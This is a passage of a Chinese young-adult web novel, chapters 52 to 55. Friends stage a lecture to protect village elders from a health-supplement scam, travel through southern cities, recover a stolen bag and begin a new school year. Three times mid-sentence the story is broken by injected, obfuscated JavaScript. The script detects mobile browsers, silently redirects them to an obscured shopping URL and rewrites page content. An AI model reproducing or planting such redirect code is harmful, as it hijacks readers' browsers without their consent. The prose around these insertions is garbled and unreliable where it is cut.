徐澄月喊她一声,把留的菜拿出来,又添椅子和碗筷。 大约是心情好,阿嬷难得关心她,夹了几块鹅肉给她,“怎么瘦成这样?学习累的?还是你爹妈工作忙没管你?” 徐澄月摇头,“自然瘦的,有运动。” “知道你们这个年级爱美,别学人瞎减肥,学习那么累,多吃点。” “知道了阿嬷。” 阿嬷陪阿爷喝了一圈,才告诉他好事是什么。 她从袋子里拿出来一瓶东西,饮料瓶子的外形,玻璃材质,最大几个字写着老年人保健品,下面是一连串成分和功效。她情绪高昂,说在她那帮小姐妹里,有一个人的儿子是做海外医药的,托他从国外买老年人保健品,比国内便宜一倍,还有些进口的,效力比国产好,也能便宜买到。她特意买了两瓶回来试,分一瓶给他,吃着好再托人买。 徐澄月听着听着皱起眉,徐妈是医生,对家人健康这事一向挂心,也曾提过带阿嬷去做个全身检查,再根据身体状况吃些保健品,但那时阿嬷嗤之以鼻,将“是药三分毒”挂在嘴边,怎么也不肯,现在却主动找人买。 她觉得不太对劲,问阿嬷这个药有什么功效。 “功效可多了。”阿嬷将那人推销的话复述:“能治心血管疾病,心肺问题,老年人常见的病都能治,有病能治病,没病也能强身健体,健康长寿。关键这也不全是药,里面也有些人体日常需要摄入的营养物质,元素什么的,就跟吃饭喝水似的,只要按时吃,身体就不会出现什么毛病。老江,你爱喝酒,时不时就有些小毛病,正好试试。” 徐澄月暗叫不好,阿嬷转述的这些说辞,一听就是忽悠人的,徐妈说过,保健品只是起预防作用,绝不能代替药物。正想用一句“这些都是骗人的”强迫阿嬷清醒,但她急急刹住车,有些老人,越劝越倔。 她不声不响拍下照片,给徐妈发去。点开百度,搜索栏输入“如何劝导老年人不要陷入保健品骗局”,还没按下搜索,旁边递来一只手机。 上面密密麻麻写着一些药品成分名字和功效。 两个老人还在专心讨论,江韫北看一眼,撇头,望着徐澄月:“都是些日常摄入的营养元素,没什么副作用,别担心。” 52. 第 52 章 夜晚,两人窝在徐澄月房间,商量怎么应对“老年人陷入保健品危机”。 徐澄月先在百度和贴吧搜索经验,从吃完饭看到现在,越刷越叹气。那些保健品推销广告几乎席卷半个网络,并且非常鸡贼,以一个掩人耳目或者相反的标题吸引人点开,连点十条,几乎全是,零星几条求助的和提问的掺在其中,像在沙漠找水源,她将眼睛瞪得像铜铃一样大,才没有错过。 几篇帖子看下来,徐澄月总结出两个点:便宜和全效。 这些人无非抓住老人贪便宜和包治百病的心理,治百病自然是瞎扯,贪便宜,无非是贪眼前的蝇头小利,等人入局,连带产品、储蓄金、会员,各种推销手段层出不穷,砸进去的钱,就像滚雪球一样,越来越多。若是遇上黑心卖家,在药中掺些东西,吃坏身体,或生了瘾,搭进去的可不止是钱。 要让阿嬷看清这“假便宜”不难,和她算笔账就够了。买这一瓶药,尝鲜价50,实际价100,一瓶按正常量吃两个月,以阿嬷的性格,徐澄月往上加一个月。但刚才听阿嬷说,第一疗程是这样吃,后面每个月还可以搭配其他产品,单价100-1000不等,平均下来500,也就是说,第三个月后,每个月需要花600左右,再加上他们其他哄骗手段,大概会被骗去1000。 而定期到医院检查,对症拿些药物,这些医保可以报销,额外再从正规渠道买一两样辅助作用的保健品,像鱼油、钙片,大概只需要花到前面三分之二的钱,并且不用一月一次。 至于功效方面,因一些历史遗留问题,阿嬷未必会全听徐妈的,把方叔方姨和村里几位老医生拉上一块聊,再找几个阿爷阿婆附和,阿嬷就愿意信个□□成了。 她把想法告诉江韫北,询问他的意见。 江韫北不可思议地看着她,大阵仗地站起来欢呼鼓掌:“徐澄月,你进步了啊,第一个想的居然是说服阿嬷,而不是去教训那个卖药的。”他还在想,如果她要去找人算账,他是把人拦下还是抄家伙给她当护卫,这个反应,还真在他意料之外,他抓起烤鸽前脚,一起鼓掌,“瞧,你妈长大了。” 徐澄月把被他吊着的烤鸽抢过来,回他一个白眼,“对方是社会里摸爬滚打的老妖精,我找上门,不就等于把唐僧肉送到妖怪锅里吗?” 而且之前和何意霖闹矛盾那事,她已经吸取教训,打着为某个人好的名义,自以为是干一些蠢事,最后得不偿失。 “是是是,我徐姐这觉悟,不是谁都比得上的。” “少油嘴滑舌,快说这主意可不可以?” “我觉得没问题啊。”他坐过去,拖过烤鸽半边身体揉着,“不如搞个大的,找个医生们都空的时间,我们去和阿爷说,组织个集体讲座,挨家挨户去让阿爷阿嬷们参加,一下子宣传到位,还能让他们知道现在村里已经有这种情况,提高警惕。” 徐澄月把他先前的夸赞还回去,“进步了啊江少爷,一劳永逸。” “那当然,本少爷是谁啊。” 两人计划一通,把初步方案做好,才准备洗漱睡觉。 徐澄月叮嘱他:“你记得别让阿爷吃那个药。” 江韫北哼一声:“放心,老头子只喜欢酒。” 两人说干就干,第二天就去找几个医生家长,说明想法,得到他们肯定和支持,顺带赠送两位位营养科、预防保健科的医生。 阿爷也万分支持,整天忙进忙出,帮他们找场地,通知人,发宣传单,地里也不勤去了。 爷三忙活大半个月,终于敲定讲座时间,在七月最后一天。 前一天晚上,要布置礼堂,俞麒俞麟结束训练,方之敛和岳清卓也忙完学习练拳,都赶回来帮忙。 男孩搬桌椅,女孩擦洗。礼堂不算宽敞,只能放十几张桌子,天气太热,阿爷不想太多人挤一块,就分了上午下午两批进行,一次五十人。桌椅摆好后,再放些好消化的糕点小吃,留出放水果和茶水的位置。 徐澄月抱着个大纸袋,挨个在每张桌上放下四只小玩意,俞麟看到了,问她怎么有这么多木雕玩具。 “都是我的练习作。我们去宣传的时候说了,来了就送小礼物,这些虽然刻得不是很好看,但他们可以拿回去哄孩子,当小摆件,有些也很实用,当个收纳盒,筷子筒什么的,也可以啊。” “谁说不好看了!”俞麟照旧盲目支持她,“明明很好看,都能直接拿去卖了。” 徐澄月被夸得心花怒放:“待会剩了都给你!” 第二天上午九点,讲座准时开始。徐妈是主讲,方爸是场控,方妈是气氛组,两位营养科、预防保健科的医生则负责讲各自部分。内容很专业,但经验老道的医生讲得通俗易懂,再加上恰到好处的小幽默,一通配合下来,进行得十分顺利。 散场时,他们几个人在门口候着,帮忙搀扶一些年纪大的。 讲座反响不错,阿爷阿嬷们还乐在其中,互相回忆和提问讲座内容,碰到卡壳的,就由他们之间医理知识较为丰富的方之敛补充。 “你们几个孩子,真厉害,现在是你们带我们认外头咯。” “可不是嘛,都是聪明的,以后肯定各有本事。” “我听老江说,这事是澄澄和小北提的,哎哟你看,这俩平时玩啊闹啊,嘻嘻哈哈的,没想到还能给咱想到这些。” 被点名的两人,眉头一皱,彼此对视一眼,又疑惑地看向伙伴:我们平时看起来很不靠谱吗? 几人憋笑,躲避他们的视线。 这时阿嬷的声音插进来,中气十足:“怎么说话的,这俩孩子可聪明了,尤其是我家澄澄,她还帮我算账来着,讲座也是她提的,别提多厉害,你们不懂别瞎讲!” 第一次听到阿嬷当着那么多人的面夸自己,徐澄月难以置信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473351|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,欢乱地在一群佝偻背影中寻找她,一下找到。阿嬷挺直着腰背,没有方向地舞动双手,两只腕上的银镯子相碰,叮当作响。嘴上也不歇火,一个劲吹捧他们。 徐澄月以往不喜阿嬷太过絮叨,但今天,一直重复她身边那几个孩子多好多好的阿嬷,有种别样的可爱。她盯着看很久,忽然就笑了。 讲座的事告一段落,徐澄月又观察了一段时间,确保阿嬷周围没人再提及保健品的事,才彻底放下心。 被方之敛和俞麒揪着高强度学习半个月后,他们几人的第一趟旅行,也开始了。提早一周,因家中大人支持,赞助他们将沿路几个城市一块逛逛。 几人商讨后,决定先去江韫北之前住的城市,再去周围几个城市,最后回到朝城,每个城市大概停留三天。 朝城去羊城,一般坐短途汽车,大概五个多小时车程。但江韫北嫌大巴憋闷,带他们坐火车,时间却多出一倍。 这时候的火车环境其实不算好,座位狭窄,腿伸不直,腰弯不下,一抬手就会戳到前后的人。车厢内只配备一些摇头风扇,咿咿呀呀摇着,并不能阻挡炎热的天气和车厢内火热的人潮,只得将窗户全部打开,让风一股股涌进来。 六人买的软座,男孩坐外头,两个女孩靠窗户。但软座也不算软,就像在硬邦邦的木板上铺块垫子。 徐澄月十分不解,为什么江韫北要放弃便捷快速的短途大巴,选择火车。 等到火车开出后,她就明白了。火车速度上来,风也放开嗓门,河流在“呜呜”声中奔跑,田野露出肚皮朝着天,庄稼笑弯了腰,石头咧开粗糙的牙,鸟在风里游荡,房屋在太阳下打瞌睡,金黄的空气,温暖又清澈。 她这副沉醉的表情被江韫北瞧个遍,他得意地问:“是不是比大巴好?” 徐澄月点头。 江韫北从书包里掏出两个软坐垫,给她和岳清卓一人一个,“大巴看的都是高速公路,车啊建筑啊,火车看得可多了,不都是你爱看的?”他装腔作势地来一句做总结:“人嘛,有时候不要老图方便,换条道,别处的风景也挺好嘛。” 徐澄月眉一挑,发现他狗嘴里也能吐出一点象牙来,正想夸一夸,就听岳清卓说: “这是阿爷的话,别装。”一秒将他打回原地。 几人不给面子地大笑。 欣赏够风景,方之敛和俞麒也将桌子擦拭干净,他们拿出零食纸牌,边吃边玩。照旧是那几个游戏,大富翁、飞行棋、三国杀,但在不同地方玩,似乎也别有乐趣。 邻座几个大学生模样的男孩女孩,见他们玩得开心,拿了自己的食物与他们分享,随便找个话题与他们拉家常,并趁机加入游戏,两拨人就在狭窄的车厢里,玩得笑声连连。 前头,后头,还有其他人的攀谈声,小孩的哭闹声,乘务员的叫卖声。这一方小小的空间,有着短暂却喧哗的快乐。 53. 第 53 章 不长不短的两周旅程,成为若干年后,他们见面时常聊起的回忆。 他们在清晨到小蛮腰下拍照,江韫北苦练几年的拍照技术终于派上用场,将他们每人和小蛮腰以十分帅气美丽的姿态收进相机。在太阳高挂时,嚣张地逛北京路,遍尝一街美食。夜晚的羊城,灯亮如昼,他们在凉爽的江风中,乘船夜游珠江。经过一些老旧的城楼建筑,路边灯光照下来,影影绰绰,徐澄月拉着他们在光影里扭动,六个高矮不一的黑影,映在城墙上。 一天行程满满当当,疲惫在返回酒店时从身体四处冒出来,离酒店还有两百米时,徐澄月突然蹲下,而后长叹一声,躺倒在无人的马路牙子上。其他几人先是笑,接着不问缘由陪她躺下,而后笑声更响亮。回到酒店坐成一排泡脚缓解疲劳,第二天都睡到日上三竿,计划的上午行程作废,但没关系,还有下午。 停留两天后,就近去了临边城市,一个武术发源地,双皮奶尤为出名的城市。这是岳清卓最感兴趣的一站,到酒店放下行李,就急哄哄要去各个武术馆和人交流交流,意外认识两个同好者,一男一女,他们互换了联系方式,承诺要经常交流练拳心得。 连吃三天双皮奶后,他们转站一个港口城市,与香港澳门相望,过个闸门就能到达澳门,但他们没有□□,只好在那逛一圈出来。离开的时候,徐澄月看上一个渔女木雕,是个大件,占了她大半个书包,最后江韫北和她打赌输了,替她背了一路。 结束这站后,他们开始返程。一路顺畅的旅程,却在最后关头出了岔子。 港口城市没有直达朝城的车,需要到羊城中转。车票定在中午,几个男孩去买午饭,留下两个女孩看行李。徐澄月前一天睡得不好,正趴在行李箱上补觉,突然听到一声“澄澄快醒醒,有小偷”,身边窜起一阵猛风,等眼睛睁开,只瞧见岳清卓快成风的影子。 睡意消散,她反应过来是怎么回事,立马追上去,撞上买完午饭回来的几人,着急忙慌告诉他们。 方之敛只听到“清卓追上去了”,就将东西丢给江韫北,按着徐澄月指的方向追。江韫北也要跟上,被俞麒拦住,他快速冷静地说:“我们先报警,韫北,你留在这陪着澄澄,我和俞麟去看。” 江韫北看着快急哭的徐澄月,应下来,安慰她几句。俞麟速度惊人,在得到俞麒指令后,跑得没影。 江韫北把徐澄月带回座位,打开牛奶和面包递给她,安慰:“放心,我姐功夫那么好,不会吃亏的,俞麒也报警了,不会有事的。” 徐澄月不肯吃,心吊在嗓子眼,一直往车站口看。江韫北也没心情,嘴上安慰她,其实心里也紧张得不行,但总要有个人撑着对方。他将食物收起来,陪着她等。 半个小时后,四人完好无损回来。 徐澄月扑到岳清卓身上,又是骂又是笑的发泄自己的担忧。岳清卓回抱她安抚,语气轻快地告诉她是如何制服小偷的,就和初二那年在植物园一样,她先按倒小偷,后追上来的俞麟包抄,刚好警察局在那附近,他们一块把人交给了警察,才知道那人不仅偷了她的包,还偷了其他人很多东西。 “呐,你的渔女,给你追回来了。” 徐澄月才不管什么渔女,张口骂她:“岳清卓,你是不是傻,渔女能有你重要,丢了就丢了,你追什么,万一你出事怎么办!” “那可是你花大价钱买的,你那么喜欢,怎么可以丢,再说了,我现在的身手,制服一个小偷没问题的,你别哭了,再哭我也哭了哦!” 徐澄月破涕为笑。 胆战心惊的几十分钟过后,几人填饱肚子,继续候车。 岳清卓买来饮料给他们,小心翼翼打商量:“这件事回去别告诉我妈啊。”其他人她不担心,只担心江韫北。 江韫北没有接她的水,他还在气,别开脸不理会她,上回医院是这样,这回又是,她就是个不长脑子的。 岳清卓转向方之敛,使眼色让他帮忙劝劝。 方之敛却罕见地没有顺她意思,反而同样严肃地说:“清卓,这毕竟是在一个陌生城市,如果真的有什么事,我们几个一点办法都没有。你有时候,是过于冲动了。” 岳清卓脸色一变:“难道我什么都不做吗?” 江韫北大喊:“那不是还有我们吗,不能等我们回来一起解决吗?你一个女孩子,吃亏怎么办?” 岳清卓冷笑一声,气氛就这么冷下来。沉默良久,她拧开瓶盖自己喝,等到时间上车了,才淡淡开口:“一个我弟,一个我从小认识到大的朋友,没一个懂我。” 说完她拎上自己的行李,独自走在前面。徐澄月见状,跟上去,替他们调和,说他们不是那个意思。 “那是什么意思!他们就是觉得我做错了,觉得我练了点功夫就敢强出头,难道我就光看着什么都不做吗?换了他们男生出头,别人是不是要夸一句勇敢,怎么女孩子来做,就是不行?这难道不是对女孩的刻板印象吗!”岳清卓故意说得大声,叫他们听见,“从心底里,他们就觉得我不行,哪怕我练了这么久,一般情况下可以保护自己,他们还是觉得那种情况下我会输。说得好听是怕我出事,但他们根本就是不相信我,你等着看,总有一天我要他们心服口服,女孩子,没什么做不了的事!” 徐澄月有些矛盾,不知道该怎么劝下去,一方面能理解伙伴们的担心,一方面又赞同岳清卓的说法。找不到折中的说辞,她只好沉默。 上了车,岳清卓还气不过,反应过来徐澄月一直没开口,气呼呼问她不会和他们一样想法吧。 徐澄月摇头又点头,“我觉得你说得没错,但我们的担心也是真的。”她不知道自己想得对不对,“因为大多数人都是趋利避害的,只要有受伤的可能,就会告诫自己远离那些危险源。就像那会我们的话剧,教导主任也是这种心理。可是我们没办法一辈子活得安宁顺利呀,总要有人去做一些危险的事,所以我觉得你没做错,但你也要允许我们担心和有时候的,口不择言?” 岳清卓情绪缓和一点,搂着她往她身上倒,“澄澄,你可真会安慰人。” “那我安慰到你了吗?”她们在大巴平稳的行驶中相拥,“既然这样,就不要生他们气啦,或许他们是有点不相信你,但不相信是源于担心,这是家人朋友才有的特权呢。” 岳清卓犹豫一会,“好吧,我听你的,睡一觉,下车他们要是先来和我说话,我就不生气了。” 徐澄月笑着点头,等她睡过去,和两人通风报信。 到站后,方之敛先过去和岳清卓道歉,得到她不太自然的回应后,揉揉她脑袋,帮她拎东西,问她饿不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502974|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿,要不要吃东西。 江韫北则别别扭扭保证,不会将事情告诉姑姑,姐弟俩就这么讲和了。 晚上在羊城暂歇一晚,酒店定在珠江边上。因中午一事,几人兴致缺缺,第二天火车票又订在早上,吃过晚饭一起看了部电影后,就各自休息。 岳清卓下午睡了一路,精神得很,担心吵醒徐澄月,于是一个人踱步到酒店外,坐在珠江边上吹江风。 坐了一会,肩上突然被披上衣服,她吓了一跳,转过身去,是方之敛。 方之敛抱歉地笑,“我吓到你了?” “嗯,走路没声音的。”单独面对他,岳清卓还有些不自在,这是他们第一次发生口角,和江韫北不一样,他们是姐弟,血浓于水的关系,两句话说开,也就过去了,但方之敛一直被她视作最了解自己的朋友,即便讲和,心里还是有个小疙瘩在。 方之敛哪能不懂,她在他面前,比这珠江水还要透明,“清卓,中午的事,对不起,我不该那样说你。” 岳清卓闷闷“嗯”一声,“你已经道过歉了。” “可你还有点不开心。”方之敛直接点明。 “对!”岳清卓也不掩饰,回完这个字,顺带一拳砸到他肩膀上,“江韫北那个傻子说我就算了,你也那样觉得,不相信我,不支持我!” 她越说越大声,砸在他肩上手臂上的拳头也越来越重。 方之敛不吭声,任她出气,等她停下来,他再次道歉:“你只是在那个时候选择做一件你觉得正确的事,不是冲动。” 江风吹大起来,他拉着岳清卓坐到他后面,他用背挡住风。 “至于你说不相信你,我认真想过了,或许是有一点,因为你是女孩子,所以天然将你放在一个相对弱势的地位,担心你会受伤会吃亏,却忽略了你现在也很厉害,不仅学了跆拳道,还和老板侄子学了散打格斗,一个不会手脚的男人甚至都打不过你。我保证会改过来,以后不管怎么样,都相信岳清卓能行。但你说我们不支持你,这个绝对没有。” 他缓了缓,继续道:“还记得小时候吗,我除了学习就是看我爸妈的专业书,大概当医生的都有这种顾虑,不希望孩子将来走一样的路,所以经常不给我看,把书放得高高的。但你总会拿个小板凳,把书拿下来给我,然后隔一段时间就学我爸妈,和我说要休息,要放松。你知道我喜欢,也担心我会累,可你还是会拿给我看。所以我对你也是,哪怕担心你受伤,我也会支持你做你喜欢的事。” 那么长段话下来,岳清卓还没来得及细细体会,只抓住最后一句,反问他:“真的?” 方之敛立马竖起三根手指,“我发誓。” “这还差不多。” “那你还生气吗?”方之敛换个肩膀凑过去,“生气的话继续打。” 岳清卓乜他:“不疼啊?” 方之敛动了动挨揍的一边肩膀,酸酸麻麻的,“有点,但你解气就行。” “不气了不气了,我才没那么坏脾气。”岳清卓抓起他的胳膊,小心帮他揉开,“傻不傻,不知道躲开。” “躲开你会更气,不躲。” 岳清卓没应了,专注帮他按肩。掌心开始发热,她稍稍抬起,清凉的江风将那团热气带走,她重新放下去,贴着他健壮结实的臂膀。 54. 第 54 章 高二开学,文理正式分班,并通知开始实行全年级晚自习。 徐澄月看着空了三分之一的教室,心里五味杂陈。因为温沁松放得当的管教政策和高一那场话剧比赛,他们班氛围很好,开学前梁嘉和还组织过一次聚餐,几乎全来了。学生生涯第二场分别,就这么猝不及防地到来。 “好啦,”杜可颐安慰她,“有聚有散,文科班才是他们的天地。” 徐澄月点头,收起情绪,和她有一搭没一搭聊着结束的假期。 梁嘉和揽着刚去完足球队回来的江韫北,加入她们聊天,“哎可颐,我还以为你会选文科。” 杜可颐听懂他的意思,扶额望天,“语文好就要选文科吗?我才不,就要在理科班碾压你们。” 文科略逊一筹的两位男生作揖,“手下留情手下留情。” 瞎聊了会,徐澄月瞥见在门口张望的何意霖,立马拎起两袋东西跑出去。她们整个暑假都没见面,徐澄月直接把人举起来以表思念。 何意霖被她吓一跳,咯咯笑着拍她手臂让她放下,“要我来拿什么呀?” 徐澄月把两袋东西都给她,“一袋是我们给你带的礼物,一袋是食物,你现在到楼上了,没法天天给你带吃的,一次性给你拿足。” “就隔两层楼,又不是见不到面,而且我每周回家都会带很多东西,你不用给我带啦。” “两层楼,一来一回几分钟,再加上老师拖堂,上去讲两句话就没了。没事,都是我妈和阿爷做的一些耐放的东西,你下晚自习了就吃点,别饿着。” 何意霖捏捏她嫩嫩的脸颊,“知道啦,小管家婆。对了清卓追小偷的事,阿姨知道吗?没事吧?” 徐澄月小声道:“没事,都瞒着呢。” “欸,以后出门还是当心点,好啦,不和你说了,快上课了,我上去了,帮我谢谢清卓韫北他们。” 何意霖拎着满满当当的东西上楼,心里也是满当的,可总归有点不舍,从前虽然不同班,但同楼层,一天也能见几次面,现在隔得远,自然不会专程跑下来。不过没关系,她努力开解自己,现在小小的分别,是为各自的以后努力,很快,他们会站在各自的道路上,再次相遇。 高二的生活与高一大有差异。少去几门课程,再除去三门主科,就围着物化生三门打转,除了上课就是做卷子,枯燥得很,每周一次的文课倒成了调剂,大部分人刷题,少部分人放空做闲事,零星几个听讲,丝毫不为不久后的小高考着急。 只是加了晚自习,多少有些不自由。上三节课,六点半到九点半,再花去半小时回家,一小时洗漱歇气,再查缺补漏,睡觉,第二天六点起床,睁眼就是学习。 开学一周,徐澄月还没习惯这样连环扣似的生活。周末躲到许琳店里,向她抱怨学校没人性的制度。 许琳一边忙着手里的活,一边安慰她:“再过一周就习惯了,你这是假期后遗症,心还没收回来。不过你们学校算挺人性化了,实验中学从高一就这么搞了,毕竟一中也是朝城重点中学,升学率还是要考虑的。” “也是,学生就得干学生的事。”她伸个懒腰,继续画画,“对了,你暑假去的那个地方,好玩吗?” “好玩啊,看了许多手艺人的作品,还听了很多书上没有的故事,收获很大。”许琳停下活,拿手机给她看照片。 都是些小村落里,年长的手艺人,简陋的房屋,四处有木头屑,一半堆满了木头,一半放着许多成品,多是当地民俗风物,庄严厚重。 “你们这个团队,是定期去一些地方采风吗?” 许琳点头。他们其实是在论坛上自发组成的兴趣小组,每期负责人都会找一个木雕文化流长的地方,以自愿报名为主,到那些地方学习参观。一开始是很小的团队,这两年慢慢攒了点名气,也有高校专业院和私企赞助,整体发展还算可观。 “如果我报名,可以去吗?”徐澄月跃跃欲试。 “现在每期报的人都超出了,你想去,我看着时间帮你留意留意。如果你真对这行有兴趣,去看看也不错。” 徐澄月感激地道谢,通过她加入了那个论坛。 学校生活按部就班进行着,熬过前两周,徐澄月也慢慢适应了。 按照惯例,每月一次考试,第一次安排在国庆假期前。分班后第一次按文理分科排名的考试,大家都卯足劲想看看自己在哪个层次,每天奋笔疾书,整个氛围把徐澄月感染得不学都不行。 她最需要攻克的一门还是数学,成绩时高时低,暑假那会俞麒从头按知识点给她复习过一遍,所以基础题和前三道大题她还是有信心的,只是要提分还得拿下倒数两道。但俞麒最近在准备十月份的物理省赛,她不想他分心,于是开始找方之敛。 次数一多,俞麒也发觉了,问她怎么换“老师”了。得知缘由,他无奈地揉揉她脑袋,“不至于没时间给你讲,阿敛要是没空,还来找我?” 徐澄月点头,过去几年都问的他,已经培养出默契和学习思路,相较之下,整个过程会更快更完整。 第三节是体育课,她刚从20班出来,准备去放书下楼,就听见有人喊她。回头,发现是个熟面孔。 “胡烁?”多亏那两个同音字,隔了挺久徐澄月还能记住这个名字。 胡烁惊喜地看她,“你还记得我名字啊?” “很特别的名字,想忘记都难。你分到楼下了吗?怎么这两周都没见到你啊?” “嗯,我在18班,可能没碰上吧。”胡烁不好意思告诉她,其实开学第一天就碰到她了,后面也见到很多次,但每次她身边都有好几个人,他喊了她,她没听见,“我看到上学期的成绩单了,你物理好厉害,比20班的人还厉害。我这科有些弱,以后方便请教你吗?” 他们不算熟,这样唐突的请求,不知道会不会越界,胡烁忐忑地观察她的神情。 徐澄月大多数时候是扮演求教者,虽然也有同学找她问物理,但从来没有像他这样谦虚又一本正经,她突然有种和阿敛俞麒并肩的骄傲,大方应下,“没问题,17班喊我名字,我有空随时可以帮你。” “真的,哦,你等我一下,我拿个东西。”胡烁转身进了教室,很快出来,手里多了瓶牛奶,有些羞赧,“拜师礼,有点简陋,改天再给丰厚点。” 徐澄月也不扭捏,“那我就收下了,谢谢胡同学。” 大课间,还有点时间,胡烁想就这个话题再和她聊一会,还没开口,就见正前方一个高大男生朝他们走来,白T恤外穿着球衣,左手臂夹球,手指捏一个画板,脸色冷淡,声音也有些冷,喊着徐澄月,眼睛却警示地盯着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528799|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走到他们身边了,他才收回视线,看向徐澄月,“还不下去?” 徐澄月偏头,“就下去了,对了,给你介绍一下,这位是胡烁,我认识的新朋友,和清卓一样在拳馆练拳。” “哦。”江韫北丝毫没有认识新朋友的兴趣,拎起她衣领,转个身,“快下去集合了。” “知道了,你别揪我呀,还有东西没拿。”徐澄月被他拖着走,力气不及他,挣脱不掉,“胡烁,你有问题再找我啊。” 江韫北哼一声,加快脚步,“找什么找,上课了。” 他把人拎到楼梯才松手,瞥见她手里的牛奶,不善地问:“那小子送你的?” “对,拜师礼。”徐澄月嘿嘿乐着。 “教他什么?” “物理。” 这门找她确实也没错,“他怎么不找阿敛和俞麒?” “他只认识我啊。” 江韫北眉一皱,“怎么不见你来教我?” “你也没说要。” “那现在要了,认识多少年了,也不知道主动帮我提高一下。” 徐澄月狐疑地看他,“你转性了?” 江韫北瞪她,“转你……我不管,反正你也得帮我补物理。” “行行行,你最好别半途而废。”徐澄月多了解他,做什么都是三分钟热度,现在能坚持下来的也就足球和拍照。 江韫北放下狠话,“谁废谁是狗!” 体育课跑了几圈就解散,各自找项目玩。 徐澄月一贯是懒得动,象征性打了会排球,就坐到树底下画画。没多久,岳清卓和杜可颐一身热气挨过来,问她画什么。 “随便画画,保持手感。” 杜可颐问:“那个手工艺作品大赛你报名了吗?” “报了。” “想好做什么了吗?” “嗯,想好了,还有两个月,不急。” 见她毫无压力,杜可颐也不替她着急了,目光转向几十米外的足球场。烈日当空,那群男生似乎感受不到热,满场狂奔。 “欸你们看,江韫北今天踢得好猛啊。” 球场上,江韫北带球全场来回加速跑,让一众人在身后追,才开场十多分钟分钟,这样激烈的跑法,其他人逐渐吃不消,但看他那架势,没人敢喊停。 下课铃响起,他才喘着粗气停下。 梁嘉和手脚无力地倚在他身上,埋怨:“我说江队,你今天满场跑做什么,把球场当千米长跑啊。” 江韫北耸耸肩,让他下去,“没什么,练练速度。累了?走吧,请你们喝饮料。” 到小卖部,他随手拿了瓶功能饮料,就晃到乳饮区,扫视一番,拿下一排AD钙奶,准备结账,又过去拿了两排。 “买这么多牛奶做什么?你换口味了?”同行男生问。 另一个人笑着调侃:“换什么口味,肯定是给物理课代表拿的。” 江韫北懒得搭理他们,结完账就走。 回教室,经过徐澄月课桌,他把三排牛奶丢在她课桌右上角,冷冷扔下三个字:“拜师礼。” 三排牛奶的重量,让课桌一震。 岳清卓抬头,不解:“他又发什么疯?” 徐澄月也觉得莫名其妙,“大概江少爷又在散财吧,来一人一半。” 55. 第 55 章 面对江韫北同类型题错了三回,且都错在同个地方时,徐澄月终于能体会到每次讲考卷,老师那种无奈和无奈后的自我安慰。但她显然没有老师的好脾气,摔下笔,对着人劈头盖脸一顿数落。 江韫北盯着她机关枪似突突不停的嘴,几次想插进去,被她一个眼神强势制止,只能等她骂舒服了,才小媳妇似的抱怨她没有一点耐心,教人全靠吼。 “我还没耐心!”徐澄月插腰仰头,试图平息怒火,“同类型题我讲了三回,猪都该听懂了!” 江韫北折下反应迅速:“徐澄月,你骂我!” 徐澄月冷嘲:“这能听懂?” 江韫北觉得人格受到了侮辱,引例举证和她掰扯,越说越委屈,最后想到什么,又找回几分硬气,冷冷反问:“你教胡烁也这样吗!动不动就凶人! 教胡烁当然不是。如他所说,他物理确实挺弱,一道题要拆开来细细地讲,一步一步推导才能懂,可他学得认真,而且十分有探索精神和竞技精神,不懂不罢休,讲完一道给他个同类型的,能很快做出来,这种即时反馈让徐澄月有莫大成就感。虽然有时也会着急,但总归不好对人太凶。 徐澄月凶凶地横他一样,“他又不是你,我怎么朝外人发脾气。” 江韫北却因她这理所当然的语气和字句,微不可察地弯了弯唇角。 也对,胡烁是外人,他是自家人,脾气和情绪当然留给最亲近的自家人,哪有对外人发的道理,打是亲骂是爱,徐澄月火急火燎的,是替他着急,胡烁还没有这待遇呢! 他暗暗把自己哄开心了,先前的委屈也一扫而尽,态度端正起来,扯扯她衣角,服软道:“来,再讲一遍徐老师,这回我保证听懂,下次不再错。” 信誓旦旦的模样,倒也真把徐澄月哄住,她坐回去,以0.5的语速从头讲一遍。 整张月考试卷讲完,已经十点。江韫北收拾好东西,准备送她回家。 经过客厅,江菀和岳清卓在喝甜汤,喊他们过去喝。 冰镇绿豆汤,徐澄月的最爱,手刚碰上碗,被江韫北打掉,她一激灵,秒变炸毛烤鸽,“做什么!” “喝常温的去,这两碗我的。”不理会她的抗议,也不说原因,他直接埋头各喝了一口,吆喝江菀给她一碗温的。 徐澄月嘟嘟囔囔喝完,下楼,坐上他车后座,还在气那碗冰镇绿豆汤,却也不忘叮嘱他记得再回顾一下动量守恒定律。 江韫北慢悠悠骑着车,哼着小曲儿回应她:“知道了知道了。” 